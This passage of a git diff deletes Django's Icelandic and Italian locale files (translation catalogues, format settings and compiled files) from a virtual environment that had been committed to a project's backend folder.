- -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Veldu gildan valmöguleika. Valið virðist ekki vera eitt af gildum " -"valmöguleikum." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "„%(pk)s“ er ekki gilt gildi." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s er ekki hægt að túlka í tímabelti %(current_timezone)s, það " -"getur verið óljóst eða að það er ekki til." - -msgid "Clear" -msgstr "Hreinsa" - -msgid "Currently" -msgstr "Eins og er:" - -msgid "Change" -msgstr "Breyta" - -msgid "Unknown" -msgstr "Óþekkt" - -msgid "Yes" -msgstr "Já" - -msgid "No" -msgstr "Nei" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "já,nei,kannski" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bæti" -msgstr[1] "%(size)d bæti" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "eftirmiðdegi" - -msgid "a.m." -msgstr "morgun" - -msgid "PM" -msgstr "Eftirmiðdegi" - -msgid "AM" -msgstr "Morgun" - -msgid "midnight" -msgstr "miðnætti" - -msgid "noon" -msgstr "hádegi" - -msgid "Monday" -msgstr "mánudagur" - -msgid "Tuesday" -msgstr "þriðjudagur" - -msgid "Wednesday" -msgstr "miðvikudagur" - -msgid "Thursday" -msgstr "fimmtudagur" - -msgid "Friday" -msgstr "föstudagur" - -msgid "Saturday" -msgstr "laugardagur" - -msgid "Sunday" -msgstr "sunnudagur" - -msgid "Mon" -msgstr "mán" - -msgid "Tue" -msgstr "þri" - -msgid "Wed" -msgstr "mið" - -msgid "Thu" -msgstr "fim" - -msgid "Fri" -msgstr "fös" - -msgid "Sat" -msgstr "lau" - -msgid "Sun" -msgstr "sun" - -msgid "January" -msgstr "janúar" - -msgid "February" -msgstr "febrúar" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "apríl" - -msgid "May" -msgstr "maí" - -msgid "June" -msgstr "júní" - -msgid "July" -msgstr "júlí" - -msgid "August" -msgstr "ágúst" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "nóvember" - -msgid "December" -msgstr "desember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maí" - -msgid "jun" -msgstr "jún" - -msgid "jul" -msgstr "júl" - -msgid "aug" -msgstr "ágú" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nóv" - -msgid "dec" -msgstr "des" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mars" - -msgctxt "abbrev. month" -msgid "April" -msgstr "apríl" - -msgctxt "abbrev. month" -msgid "May" -msgstr "maí" - -msgctxt "abbrev. month" -msgid "June" -msgstr "júní" - -msgctxt "abbrev. month" -msgid "July" -msgstr "júlí" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ág." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nóv." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "des." - -msgctxt "alt. month" -msgid "January" -msgstr "janúar" - -msgctxt "alt. month" -msgid "February" -msgstr "febrúar" - -msgctxt "alt. month" -msgid "March" -msgstr "mars" - -msgctxt "alt. month" -msgid "April" -msgstr "apríl" - -msgctxt "alt. month" -msgid "May" -msgstr "maí" - -msgctxt "alt. month" -msgid "June" -msgstr "júní" - -msgctxt "alt. month" -msgid "July" -msgstr "júlí" - -msgctxt "alt. month" -msgid "August" -msgstr "ágúst" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "október" - -msgctxt "alt. month" -msgid "November" -msgstr "nóvember" - -msgctxt "alt. month" -msgid "December" -msgstr "desember" - -msgid "This is not a valid IPv6 address." -msgstr "Þetta er ekki gilt IPv6 vistfang." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "eða" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF auðkenning tókst ekki." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ef þú hefur stillt vafrann þinn til að gera „Referer“ hausa óvirka þarftu að " -"virkja þá aftur. Að minnsta kosti fyrir þetta vefsvæði, eða HTTPS tengingar " -"eða „same-origin“ fyrirspurnir." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Þú ert að fá þessi skilaboð því þetta vefsvæði þarfnast að CSRF kaka (e. " -"cookie) sé send þegar form eru send. Þessi kaka er nauðsynleg af " -"öryggisástæðum til að ganga úr skugga um að utanaðkomandi aðili sé ekki að " -"senda fyrirspurnir úr vafranum þínum." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ef þú hefur stillt vafrann þinn til að gera kökur óvirkar þarftu að virkja " -"þær aftur. Að minnsta kosti fyrir þetta vefsvæði eða „same-origin“ " -"fyrirspurnir." - -msgid "More information is available with DEBUG=True." -msgstr "Meiri upplýsingar fást með DEBUG=True." - -msgid "No year specified" -msgstr "Ekkert ár tilgreint" - -msgid "Date out of range" -msgstr "Dagsetning utan tímabils" - -msgid "No month specified" -msgstr "Enginn mánuður tilgreindur" - -msgid "No day specified" -msgstr "Enginn dagur tilgreindur" - -msgid "No week specified" -msgstr "Engin vika tilgreind" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ekkert %(verbose_name_plural)s í boði" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Framtíðar %(verbose_name_plural)s ekki í boði því %(class_name)s." -"allow_future er Ósatt." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ógilt snið dagsetningar „%(datestr)s“ gefið sniðið „%(format)s“" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Ekkert %(verbose_name)s sem uppfyllir skilyrði" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Þetta er hvorki síðasta síða, né er hægt að breyta í heiltölu." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ógild síða (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tómur listi og „%(class_name)s.allow_empty“ er Ósatt." - -msgid "Directory indexes are not allowed here." -msgstr "Möppulistar eru ekki leyfðir hér." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ er ekki til" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Innihald %(directory)s " - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Þú sérð þessa síðu vegna þess að þú hefur DEBUG=True í stillingunum þínum og hefur ekki sett upp " -"neinar vefslóðir." - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/is/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 2a9c4382..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index b1be1b66..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/is/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/is/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/is/formats.py deleted file mode 100644 index d0f71cff..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/is/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -# DATETIME_FORMAT = -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.n.Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.mo deleted file mode 100644 index 991efbde..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.po deleted file mode 100644 index 0f04b1c7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/it/LC_MESSAGES/django.po +++ /dev/null @@ -1,1387 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Andrea Guerra, 2024 -# 0d21a39e384d88c2313b89b5042c04cb, 2017 -# Carlo Miron , 2011 -# Carlo Miron , 2014 -# Carlo Miron , 2018-2019 -# Davide Targa , 2021 -# Denis Darii , 2011 -# Emanuele Di Giacomo, 2021 -# Flavio Curella , 2013,2016 -# Jannis Leidel , 2011 -# Themis Savvidis , 2013 -# Luciano De Falco Alfano, 2016 -# Marco Bonetti, 2014 -# Mirco Grillo , 2018,2020 -# Nicola Larosa , 2013 -# palmux , 2014-2015,2017,2021 -# Paolo Melchiorre , 2022-2023 -# Mattia Procopio , 2015 -# Riccardo Magliocchetti , 2017 -# Stefano Brentegani , 2014-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Andrea Guerra, 2024\n" -"Language-Team: Italian (http://app.transifex.com/django/django/language/" -"it/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: it\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabo" - -msgid "Algerian Arabic" -msgstr "Arabo Algerino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azero" - -msgid "Bulgarian" -msgstr "Bulgaro" - -msgid "Belarusian" -msgstr "Bielorusso" - -msgid "Bengali" -msgstr "Bengalese" - -msgid "Breton" -msgstr "Bretone" - -msgid "Bosnian" -msgstr "Bosniaco" - -msgid "Catalan" -msgstr "Catalano" - -msgid "Central Kurdish (Sorani)" -msgstr "Curdo centrale (Sorani)" - -msgid "Czech" -msgstr "Ceco" - -msgid "Welsh" -msgstr "Gallese" - -msgid "Danish" -msgstr "Danese" - -msgid "German" -msgstr "Tedesco" - -msgid "Lower Sorbian" -msgstr "Sorabo inferiore" - -msgid "Greek" -msgstr "Greco" - -msgid "English" -msgstr "Inglese" - -msgid "Australian English" -msgstr "Inglese Australiano" - -msgid "British English" -msgstr "Inglese britannico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spagnolo" - -msgid "Argentinian Spanish" -msgstr "Spagnolo Argentino" - -msgid "Colombian Spanish" -msgstr "Spagnolo Colombiano" - -msgid "Mexican Spanish" -msgstr "Spagnolo Messicano" - -msgid "Nicaraguan Spanish" -msgstr "Spagnolo Nicaraguense" - -msgid "Venezuelan Spanish" -msgstr "Spagnolo venezuelano" - -msgid "Estonian" -msgstr "Estone" - -msgid "Basque" -msgstr "Basco" - -msgid "Persian" -msgstr "Persiano" - -msgid "Finnish" -msgstr "Finlandese" - -msgid "French" -msgstr "Francese" - -msgid "Frisian" -msgstr "Frisone" - -msgid "Irish" -msgstr "Irlandese" - -msgid "Scottish Gaelic" -msgstr "Gaelico Scozzese" - -msgid "Galician" -msgstr "Galiziano" - -msgid "Hebrew" -msgstr "Ebraico" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croato" - -msgid "Upper Sorbian" -msgstr "Sorabo superiore" - -msgid "Hungarian" -msgstr "Ungherese" - -msgid "Armenian" -msgstr "Armeno" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesiano" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandese" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Giapponese" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "Cabilo" - -msgid "Kazakh" -msgstr "Kazako" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "Kirghiso" - -msgid "Luxembourgish" -msgstr "Lussemburghese" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Lettone" - -msgid "Macedonian" -msgstr "Macedone" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolo" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malese" - -msgid "Burmese" -msgstr "Birmano" - -msgid "Norwegian Bokmål" -msgstr "Norvegese Bokmål" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Olandese" - -msgid "Norwegian Nynorsk" -msgstr "Norvegese Nynorsk" - -msgid "Ossetic" -msgstr "Ossetico" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polacco" - -msgid "Portuguese" -msgstr "Portoghese" - -msgid "Brazilian Portuguese" -msgstr "Brasiliano Portoghese" - -msgid "Romanian" -msgstr "Rumeno" - -msgid "Russian" -msgstr "Russo" - -msgid "Slovak" -msgstr "Slovacco" - -msgid "Slovenian" -msgstr "Sloveno" - -msgid "Albanian" -msgstr "Albanese" - -msgid "Serbian" -msgstr "Serbo" - -msgid "Serbian Latin" -msgstr "Serbo Latino" - -msgid "Swedish" -msgstr "Svedese" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tajik" - -msgid "Thai" -msgstr "Tailandese" - -msgid "Turkmen" -msgstr "Turkmeno" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uiguro" - -msgid "Ukrainian" -msgstr "Ucraino" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeko" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Cinese semplificato" - -msgid "Traditional Chinese" -msgstr "Cinese tradizionale" - -msgid "Messages" -msgstr "Messaggi" - -msgid "Site Maps" -msgstr "Mappa del sito" - -msgid "Static Files" -msgstr "File statici" - -msgid "Syndication" -msgstr "Aggregazione" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Quel numero di pagina non è un integer" - -msgid "That page number is less than 1" -msgstr "Quel numero di pagina è minore di 1" - -msgid "That page contains no results" -msgstr "Quella pagina non presenta alcun risultato" - -msgid "Enter a valid value." -msgstr "Inserisci un valore valido." - -msgid "Enter a valid domain name." -msgstr "" - -msgid "Enter a valid URL." -msgstr "Inserisci un URL valido." - -msgid "Enter a valid integer." -msgstr "Inserire un numero intero valido." - -msgid "Enter a valid email address." -msgstr "Inserisci un indirizzo email valido." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Inserisci uno \"slug\" valido contenente lettere, cifre, sottolineati o " -"trattini." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Inserisci uno 'slug' valido contenente lettere, cifre, sottolineati o " -"trattini." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "" - -msgid "IPv4" -msgstr "" - -msgid "IPv6" -msgstr "" - -msgid "IPv4 or IPv6" -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Inserisci solo cifre separate da virgole." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Assicurati che questo valore sia %(limit_value)s (ora è %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Assicurati che questo valore sia minore o uguale a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Assicurati che questo valore sia maggiore o uguale a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Assicurarsi che questo valore sia un multiplo della dimensione di passo " -"%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Assicurati che questo valore sia un multiplo della dimensione di passo " -"%(limit_value)s, iniziando da %(offset)s, p.es. %(offset)s, " -"%(valid_value1)s, %(valid_value2)s, e così via." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assicurati che questo valore contenga almeno %(limit_value)d carattere (ne " -"ha %(show_value)d)." -msgstr[1] "" -"Assicurati che questo valore contenga almeno %(limit_value)d caratteri (ne " -"ha %(show_value)d)." -msgstr[2] "" -"Assicurati che questo valore contenga almeno %(limit_value)d caratteri (ne " -"ha %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assicurati che questo valore non contenga più di %(limit_value)d carattere " -"(ne ha %(show_value)d)." -msgstr[1] "" -"Assicurati che questo valore non contenga più di %(limit_value)d caratteri " -"(ne ha %(show_value)d)." -msgstr[2] "" -"Assicurati che questo valore non contenga più di %(limit_value)d caratteri " -"(ne ha %(show_value)d)." - -msgid "Enter a number." -msgstr "Inserisci un numero." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Assicurati che non vi sia più di %(max)s cifra in totale." -msgstr[1] "Assicurati che non vi siano più di %(max)s cifre in totale." -msgstr[2] "Assicurati che non vi siano più di %(max)s cifre in totale." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Assicurati che non vi sia più di %(max)s cifra decimale." -msgstr[1] "Assicurati che non vi siano più di %(max)s cifre decimali." -msgstr[2] "Assicurati che non vi siano più di %(max)s cifre decimali." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Assicurati che non vi sia più di %(max)s cifra prima della virgola." -msgstr[1] "" -"Assicurati che non vi siano più di %(max)s cifre prima della virgola." -msgstr[2] "" -"Assicurati che non vi siano più di %(max)s cifre prima della virgola." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Il file con estensione \"%(extension)s\" non e' permesso. Le estensioni " -"permesse sono: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "I caratteri null non sono ammessi." - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s con questa %(field_labels)s esiste già." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Il vincolo “%(name)s” è stato violato." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Il valore %(value)r non è una scelta valida." - -msgid "This field cannot be null." -msgstr "Questo campo non può essere nullo." - -msgid "This field cannot be blank." -msgstr "Questo campo non può essere vuoto." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s con questo %(field_label)s esiste già." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s deve essere unico per %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo di tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Il valore \"%(value)s\" deve essere True oppure False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Il valore di \"%(value)s\" deve essere True, False o None" - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Vero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Stringa (fino a %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Stringa (illimitata)" - -msgid "Comma-separated integers" -msgstr "Interi separati da virgole" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Il valore \"%(value)s\" ha un formato di data non valido. Deve essere nel " -"formato AAAA-MM-GG." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Il valore di \"%(value)s\" ha il corretto formato (AAAA-MM-GG) ma non è una " -"data valida." - -msgid "Date (without time)" -msgstr "Data (senza ora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Il valore \"%(value)s\" ha un formato non valido. Deve essere nel formato " -"AAAA-MM-GG HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Il valore di \"%(value)s\" ha il formato corretto (AAAA-MM-GG HH:MM[:ss[." -"uuuuuu]][TZ]) ma non è una data/ora valida." - -msgid "Date (with time)" -msgstr "Data (con ora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Il valore \"%(value)s\" deve essere un numero decimale." - -msgid "Decimal number" -msgstr "Numero decimale" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Il valore \"%(value)s\" ha un formato non valido. Deve essere nel formato " -"[GG] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Durata" - -msgid "Email address" -msgstr "Indirizzo email" - -msgid "File path" -msgstr "Percorso file" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Il valore di \"%(value)s\" deve essere un numero a virgola mobile." - -msgid "Floating point number" -msgstr "Numero in virgola mobile" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Il valore \"%(value)s\" deve essere un intero." - -msgid "Integer" -msgstr "Intero" - -msgid "Big (8 byte) integer" -msgstr "Intero grande (8 byte)" - -msgid "Small integer" -msgstr "Piccolo intero" - -msgid "IPv4 address" -msgstr "Indirizzo IPv4" - -msgid "IP address" -msgstr "Indirizzo IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Il valore \"%(value)s\" deve essere None, True oppure False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (True, False o None)" - -msgid "Positive big integer" -msgstr "Intero positivo" - -msgid "Positive integer" -msgstr "Intero positivo" - -msgid "Positive small integer" -msgstr "Piccolo intero positivo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (fino a %(max_length)s)" - -msgid "Text" -msgstr "Testo" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Il valore di \"%(value)s\" ha un formato non valido. Deve essere nel formato " -"HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Il valore di \"%(value)s\" ha il corretto formato (HH:MM[:ss[.uuuuuu]]) ma " -"non è un orario valido." - -msgid "Time" -msgstr "Ora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dati binari grezzi" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" non è uno UUID valido." - -msgid "Universally unique identifier" -msgstr "Identificatore univoco universale" - -msgid "File" -msgstr "File" - -msgid "Image" -msgstr "Immagine" - -msgid "A JSON object" -msgstr "Un oggetto JSON" - -msgid "Value must be valid JSON." -msgstr "Il valore deve essere un JSON valido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (tipo determinato dal campo collegato)" - -msgid "One-to-one relationship" -msgstr "Relazione uno a uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "relazione %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "relazioni %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relazione molti a molti" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Questo campo è obbligatorio." - -msgid "Enter a whole number." -msgstr "Inserisci un numero intero." - -msgid "Enter a valid date." -msgstr "Inserisci una data valida." - -msgid "Enter a valid time." -msgstr "Inserisci un'ora valida." - -msgid "Enter a valid date/time." -msgstr "Inserisci una data/ora valida." - -msgid "Enter a valid duration." -msgstr "Inserisci una durata valida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Il numero di giorni deve essere compreso tra {min_days} e {max_days}" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Non è stato inviato alcun file. Verifica il tipo di codifica sul form." - -msgid "No file was submitted." -msgstr "Nessun file è stato inviato." - -msgid "The submitted file is empty." -msgstr "Il file inviato è vuoto." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Assicurati che questo nome di file non contenga più di %(max)d 